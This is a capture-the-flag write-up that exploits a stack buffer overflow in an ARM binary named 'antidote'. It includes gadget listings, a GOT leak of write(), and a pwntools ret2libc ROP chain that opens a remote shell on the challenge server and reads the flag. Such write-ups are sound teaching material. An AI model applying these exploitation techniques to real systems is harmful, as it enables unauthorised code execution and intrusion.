Antidote
14 minutes to read
We are given an ARM 32-bit binary called antidote
:
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
Reverse engineering
We can use Ghidra to analyze the binary and look at the decompiled source code in C. This is main
:
int main() {
undefined data[64];
undefined message[152];
setvbuf(stdout, (char *) 0x0, 2, 0);
memcpy(message, "Bzzzzzzz... Bzzzzzzzzzzzzzzz... Damn those bugs!\nCome on, hurry up analyzing that bug\'s DNA! I can\'t wait to get out of here!\nCareful there! That hurt!\n" , 152);
write(1, message, 152);
read(0, data, 300);
return 0;
}
Buffer Overflow vulnerability
The binary is vulnerable to Buffer Overflow since there is a variable called data
that has 64 bytes assigned as buffer, but the program is reading up to 300 bytes from stdin
and storing the data into data
, overflowing the reserved buffer if the size of the input data is greater than 64 bytes.
We can check that it crashes in this situation (in order to run and debug ARM binaries, check out ROP Emporium guide):
$ ./antidote
Bzzzzzzz... Bzzzzzzzzzzzzzzz... Damn those bugs!
Come on, hurry up analyzing that bug's DNA! I can't wait to get out of here!
Careful there! That hurt!
asdf
$ python3 -c 'print("A" * 300)' | ./antidote
Bzzzzzzz... Bzzzzzzzzzzzzzzz... Damn those bugs!
Come on, hurry up analyzing that bug's DNA! I can't wait to get out of here!
Careful there! That hurt!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
zsh: done python3 -c 'print("A" * 300)' |
zsh: segmentation fault (core dumped) ./antidote
The program has crashed because we have overwritten the return address saved on the stack. Let’s use GDB to find the offset we need to reach this address value:
$ qemu-arm -g 1234 antidote
$ gdb-multiarch -q
gef➤ file antidote
Reading symbols from antidote...
(No debugging symbols found in antidote)
gef➤ target remote localhost:1234
Remote debugging using localhost:1234
warning: remote target does not support file transfer, attempting to access files from local filesystem.
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0xff7bca40 in ?? ()
gef➤ pattern create 300
[+] Generating a pattern of 300 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboa
abpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
[+] Saved as '$_gef0'
gef➤ continue
Continuing.
$ qemu-arm -g 1234 antidote
Bzzzzzzz... Bzzzzzzzzzzzzzzz... Damn those bugs!
Come on, hurry up analyzing that bug's DNA! I can't wait to get out of here!
Careful there! That hurt!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
Program received signal SIGSEGV, Segmentation fault.
0x63616166 in ?? ()
gef➤ pattern offset $pc
[+] Searching for '$pc'
[+] Found at offset 220 (little-endian search) likely
[+] Found at offset 508 (big-endian search)
So we need exactly 220 bytes to control $pc
.
Exploit strategy
Since the binary has NX protection, we must use Return Oriented Programming (ROP) to execute arbitrary code. This technique makes use of gadgets, which are sets of instructions that end in ret
(usually). We can add a list of addresses for gadgets on the stack so that when a gadget is executed, it returns to the stack and executes the next gadget. That is the meaning of ROP chain.
This is a bypass for NX protection since we are not executing instructions in the stack (shellcode), but we are redirecting the program to specific addresses that are executable and run the instructions we want.
In order to gain code execution, we will perform a ret2libc attack. This technique consists of calling system
inside Glibc using "/bin/sh"
as first parameter to the function (which is also inside Glibc). The problem we must handle is ASLR, which is a protection set for shared libraries that randomize a base address.
Since we want to call system
and take "/bin/sh"
, we need to know the addresses of those values inside Glibc at runtime (these addresses will change in every execution). Hence, we must find a way to leak an address inside Glibc because the only thing that is random is the base address of Glibc; the rest of the addresses are computed as offsets to that base address.
The process of leaking a function comes with calling write
using an address from the Global Offset Table (GOT) as first argument (for example, write
as well). This table contains the real addresses of the external functions used by the program (if they have been resolved).
Exploit development
Let’s see what ROP gadgets we have:
gef➤ ropper
[INFO] Load gadgets for section: PHDR
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
Gadgets
=======
0x00000620: add r4, r5, #4; bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc};
0x00000620: add r4, r5, #4; bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc}; andeq r8, r0, r4, lsr #3; andeq r8, r0, r4, lsr #3; bx lr;
0x00000604: add r6, r6, #2; ldr ip, [r4, #4]; mov r0, sl; mov r1, r8; mov r2, r7; blx ip;
0x000003c0: andeq r0, r0, r6, lsl fp; push {r3, lr}; bl #0x474; pop {r3, pc};
0x000003b8: andeq r0, r0, r6, lsl r8; andeq r0, r1, r4, asr r8; andeq r0, r0, r6, lsl fp; push {r3, lr}; bl #0x474; pop {r3, pc};
0x000003bc: andeq r0, r1, r4, asr r8; andeq r0, r0, r6, lsl fp; push {r3, lr}; bl #0x474; pop {r3, pc};
0x0000062c: andeq r8, r0, r4, lsr #3; andeq r8, r0, r4, lsr #3; bx lr;
0x0000062c: andeq r8, r0, r4, lsr #3; andeq r8, r0, r4, lsr #3; bx lr; push {r3, lr}; pop {r3, pc};
0x00000630: andeq r8, r0, r4, lsr #3; bx lr;
0x00000630: andeq r8, r0, r4, lsr #3; bx lr; push {r3, lr}; pop {r3, pc};
0x00000550: bl #0x3e4; mov r3, #0; mov r0, r3; sub sp, fp, #4; pop {fp, pc};
0x000003c8: bl #0x474; pop {r3, pc};
0x000005e0: blx ip;
0x00000618: blx ip; cmp r6, sb; add r4, r5, #4; bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc};
0x000004d4: blx r3;
0x000004d4: blx r3; pop {r3, pc};
0x00000624: bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc};
0x00000624: bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc}; andeq r8, r0, r4, lsr #3; andeq r8, r0, r4, lsr #3; bx lr;
0x000004ac: bx lr;
0x00000634: bx lr; push {r3, lr}; pop {r3, pc};
0x000004a0: cmp r2, #0; moveq r2, #1; strbeq r2, [r3]; bx lr;
0x000004cc: cmp r3, #0; popeq {r3, pc}; blx r3;
0x000004cc: cmp r3, #0; popeq {r3, pc}; blx r3; pop {r3, pc};
0x000004c0: cmp r3, #0; popeq {r3, pc}; ldr r3, [pc, #0x10]; cmp r3, #0; popeq {r3, pc}; blx r3;
0x0000061c: cmp r6, sb; add r4, r5, #4; bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc};
0x00000608: ldr ip, [r4, #4]; mov r0, sl; mov r1, r8; mov r2, r7; blx ip;
0x000005cc: ldr ip, [r4], #4; mov r0, sl; mov r1, r8; mov r2, r7; mov r6, #2; blx ip;
0x000004c8: ldr r3, [pc, #0x10]; cmp r3, #0; popeq {r3, pc}; blx r3;
0x000004c8: ldr r3, [pc, #0x10]; cmp r3, #0; popeq {r3, pc}; blx r3; pop {r3, pc};
0x00000498: ldr r3, [pc, #0x10]; ldrb r2, [r3]; cmp r2, #0; moveq r2, #1; strbeq r2, [r3]; bx lr;
0x000005a0: ldr r3, [r4], #4; mov r0, sl; mov r1, r8; mov r2, r7; sub r5, sb, #1; blx r3;
0x000005f0: ldr r3, [r5], #4; mov r0, sl; mov r1, r8; mov r2, r7; blx r3;
0x0000049c: ldrb r2, [r3]; cmp r2, #0; moveq r2, #1; strbeq r2, [r3]; bx lr;
0x00000558: mov r0, r3; sub sp, fp, #4; pop {fp, pc};
0x0000060c: mov r0, sl; mov r1, r8; mov r2, r7; blx ip;
0x000005f4: mov r0, sl; mov r1, r8; mov r2, r7; blx r3;
0x000005d0: mov r0, sl; mov r1, r8; mov r2, r7; mov r6, #2; blx ip;
0x000005a4: mov r0, sl; mov r1, r8; mov r2, r7; sub r5, sb, #1; blx r3;
0x00000610: mov r1, r8; mov r2, r7; blx ip;
0x000005f8: mov r1, r8; mov r2, r7; blx r3;
0x000005d4: mov r1, r8; mov r2, r7; mov r6, #2; blx ip;
0x000005a8: mov r1, r8; mov r2, r7; sub r5, sb, #1; blx r3;
0x0000054c: mov r2, #0x12c; bl #0x3e4; mov r3, #0; mov r0, r3; sub sp, fp, #4; pop {fp, pc};
0x00000614: mov r2, r7; blx ip;
0x00000614: mov r2, r7; blx ip; cmp r6, sb; add r4, r5, #4; bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc};
0x000005fc: mov r2, r7; blx r3;
0x000005d8: mov r2, r7; mov r6, #2; blx ip;
0x000005ac: mov r2, r7; sub r5, sb, #1; blx r3;
0x00000554: mov r3, #0; mov r0, r3; sub sp, fp, #4; pop {fp, pc};
0x000005ec: mov r5, r4; ldr r3, [r5], #4; mov r0, sl; mov r1, r8; mov r2, r7; blx r3;
0x000005dc: mov r6, #2; blx ip;
0x000004a4: moveq r2, #1; strbeq r2, [r3]; bx lr;
0x00000560: pop {fp, pc};
0x000003cc: pop {r3, pc};
0x00000628: pop {r4, r5, r6, r7, r8, sb, sl, pc};
0x00000628: pop {r4, r5, r6, r7, r8, sb, sl, pc}; andeq r8, r0, r4, lsr #3; andeq r8, r0, r4, lsr #3; bx lr;
0x000004d0: popeq {r3, pc}; blx r3;
0x000004d0: popeq {r3, pc}; blx r3; pop {r3, pc};
0x000004c4: popeq {r3, pc}; ldr r3, [pc, #0x10]; cmp r3, #0; popeq {r3, pc}; blx r3;
0x000004c4: popeq {r3, pc}; ldr r3, [pc, #0x10]; cmp r3, #0; popeq {r3, pc}; blx r3; pop {r3, pc};
0x000003c4: push {r3, lr}; bl #0x474; pop {r3, pc};
0x00000638: push {r3, lr}; pop {r3, pc};
0x000004a8: strbeq r2, [r3]; bx lr;
0x000005b0: sub r5, sb, #1; blx r3;
0x0000055c: sub sp, fp, #4; pop {fp, pc};
65 gadgets found
From the above output of ropper
(inside GDB), we can see that we can easily set registers $r4
up to $r8
with this gadget:
0x00000628: pop {r4, r5, r6, r7, r8, sb, sl, pc};
Then, we can also use the following to set $r3
:
0x000003cc: pop {r3, pc};
And then we can set $r0
, $r1
and $r2
with this one (since we control $sl
, $r7
and $r8
):
0x000005a4: mov r0, sl; mov r1, r8; mov r2, r7; sub r5, sb, #1; blx r3;
And then jump to $r3
(that’s the meaning of blx r3
, more information here).
Leaking memory addresses
This is the assembly code for main
:
gef➤ disassemble main
Dump of assembler code for function main:
0x000084e4 <+0>: push {r11, lr}
0x000084e8 <+4>: add r11, sp, #4
0x000084ec <+8>: sub sp, sp, #216 ; 0xd8
0x000084f0 <+12>: ldr r3, [pc, #108] ; 0x8564 <main+128>
0x000084f4 <+16>: ldr r3, [r3]
0x000084f8 <+20>: mov r0, r3
0x000084fc <+24>: mov r1, #0
0x00008500 <+28>: mov r2, #2
0x00008504 <+32>: mov r3, #0
0x00008508 <+36>: bl 0x8414 <setvbuf@plt>
0x0000850c <+40>: ldr r3, [pc, #84] ; 0x8568 <main+132>
0x00008510 <+44>: sub r1, r11, #156 ; 0x9c
0x00008514 <+48>: mov r2, r3
0x00008518 <+52>: mov r3, #152 ; 0x98
0x0000851c <+56>: mov r0, r1
0x00008520 <+60>: mov r1, r2
0x00008524 <+64>: mov r2, r3
0x00008528 <+68>: bl 0x83f0 <memcpy@plt>
0x0000852c <+72>: sub r3, r11, #156 ; 0x9c
0x00008530 <+76>: mov r0, #1
0x00008534 <+80>: mov r1, r3
0x00008538 <+84>: mov r2, #152 ; 0x98
0x0000853c <+88>: bl 0x8420 <write@plt>
0x00008540 <+92>: sub r3, r11, #220 ; 0xdc
0x00008544 <+96>: mov r0, #0
0x00008548 <+100>: mov r1, r3
0x0000854c <+104>: mov r2, #300 ; 0x12c
0x00008550 <+108>: bl 0x83e4 <read@plt>
0x00008554 <+112>: mov r3, #0
0x00008558 <+116>: mov r0, r3
0x0000855c <+120>: sub sp, r11, #4
0x00008560 <+124>: pop {r11, pc}
0x00008564 <+128>: andeq r0, r1, r4, ror #16
0x00008568 <+132>: andeq r8, r0, r4, asr #12
End of assembler dump.
In order to leak the address of write
from Glibc, we need to set $r0 = 1
in order to write to stdout
and set $r1
to the address of write
at the GOT. There’s no simple gadget to set $r0
, but we can set $r3
to be the address of write
at the GOT and then jump to main+76
:
...
0x00008530 <+76>: mov r0, #1
0x00008534 <+80>: mov r1, r3
0x00008538 <+84>: mov r2, #152 ; 0x98
0x0000853c <+88>: bl 0x8420 <write@plt>
...
So that $r0
will be set to 1
and $r1
will hold the same value as $r3
and then write
is called:
def main():
p = get_process()
pop_r3_pc = 0x83cc
pop_r4_r5_r6_r7_r8_sb_sl_pc = 0x8628
mov_r0_sl_mov_r1_r2_mov_r2_r7_blx_r3 = 0x85f4
offset = 220
junk = b'A' * offset
payload = junk
payload += p32(pop_r3_pc)
payload += p32(elf.got.write)
payload += p32(elf.sym.main + 76)
p.recv()
p.send(payload)
write_addr = u32(p.recv(4))
log.info(f'Leaked write() address: {hex(write_addr)}')
glibc.address = write_addr - glibc.sym.write
log.success(f'Glibc base address: {hex(glibc.address)}')
p.recv()
p.interactive()
$ python3 solve.py
[*] './antidote'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
[+] Starting local process './antidote': pid 1369435
[*] Leaked write() address: 0xff6e5e28
[+] Glibc base address: 0xff619000
[*] Switching to interactive mode
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[*] Got EOF while reading in interactive
$
And there we have the leak and the right base address of Glibc (notice that it ends in 000
in hexadecimal format). But the program crashed, which is not expected.
In order to debug, we can write the payload into a file and then use cat
to redirect the contents to qemu-arm
while debugging with GDB:
with open('payload', 'wb') as f:
f.write(payload)
$ cat payload | qemu-arm -g 1234 antidote
$ gdb-multiarch -q
gef➤ file antidote
Reading symbols from antidote...
(No debugging symbols found in antidote)
gef➤ break *main+88
Breakpoint 1 at 0x853c
gef➤ target remote localhost:1234
Remote debugging using localhost:1234
warning: remote target does not support file transfer, attempting to access files from local filesystem.
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0xff7bca40 in ?? ()
The breakpoint is set at the write
call. One instruction after the second call to write
we have this situation:
gef➤ x/i $pc
=> 0x8540 <main+92>: sub r3, r11, #220 ; 0xdc
gef➤ p $r3
$1 = 0x1
gef➤ p $r11
$2 = 0x41414141
In fact, $r11
is used to compute the address where read
will store input data, and obviously 0x41414141
is not valid. Actually, $r11
is poped right before $pc
at address main+124
, so we need to use another value there. For instance, the legitimate value, which is 0xfffef85c
(it can be seen in GDB):
$ qemu-arm -g 1234 antidote
$ gdb-multiarch -q
gef➤ file antidote
Reading symbols from antidote...
(No debugging symbols found in antidote)
gef➤ break *main+92
Breakpoint 1 at 0x8540
gef➤ target remote localhost:1234
Remote debugging using localhost:1234
warning: remote target does not support file transfer, attempting to access files from local filesystem.
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0xff7bca40 in ?? ()
gef➤ continue
Continuing.
Breakpoint 1, 0x00008540 in main ()
gef➤ x/i $pc
=> 0x8540 <main+92>: sub r3, r11, #220 ; 0xdc
gef➤ p $r11
$1 = 0xfffef85c
If we update this value in the ROP chain, the program does not crash anymore:
offset = 216
junk = b'A' * offset
payload = junk
payload += p32(0xfffef85c)
payload += p32(pop_r3_pc)
payload += p32(elf.got.write)
payload += p32(elf.sym.main + 76)
$ python3 solve.py
[*] './antidote'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
[+] Starting local process './antidote': pid 1372339
[*] Leaked write() address: 0xff6e5e28
[+] Glibc base address: 0xff619000
[*] Switching to interactive mode
$
Getting RCE
The next thing is to call system("/bin/sh")
. For that, we will need that $r0 = "/bin/sh"
. The only way we are able to set $r0
is by using the long gadget:
0x000005a4: mov r0, sl; mov r1, r8; mov r2, r7; sub r5, sb, #1; blx r3;
And to set $sl
, $r7
and $r8
we need to use another long gadget:
0x00000628: pop {r4, r5, r6, r7, r8, sb, sl, pc};
This is actually a ret2csu attack, since this gadget is inside __libc_csu_init
, but there’s nothing fancy about it. So we will set $sl
to be the address of "/bin/sh"
inside Glibc and set $r3
to the address of system
inside Glibc. This is the ROP chain:
payload = junk
payload += p32(0xfffef85c)
payload += p32(pop_r4_r5_r6_r7_r8_sb_sl_pc)
payload += p32(0) * 6
payload += p32(next(glibc.search(b'/bin/sh')))
payload += p32(pop_r3_pc)
payload += p32(glibc.sym.system)
payload += p32(mov_r0_sl_mov_r1_r2_mov_r2_r7_blx_r3)
p.recv()
p.send(payload)
p.interactive()
Flag
The exploit does not run locally for some reason, but it works remotely (we must use the provided Glibc):
$ python3 solve.py 178.62.107.21:32750
[*] './antidote'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
[+] Opening connection to 178.62.107.21 on port 32750: Done
[*] Leaked write() address: 0xff72bbc5
[+] Glibc base address: 0xff69f000
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
$ find / -name flag.txt 2>/dev/null | xargs cat
HTB{Th4nk_y0u_f0r_h3lp1ng_m3_w1th_th4t_bug!Y0u_s4ved_my_arm}
The full exploit script can be found in here: solve.py
.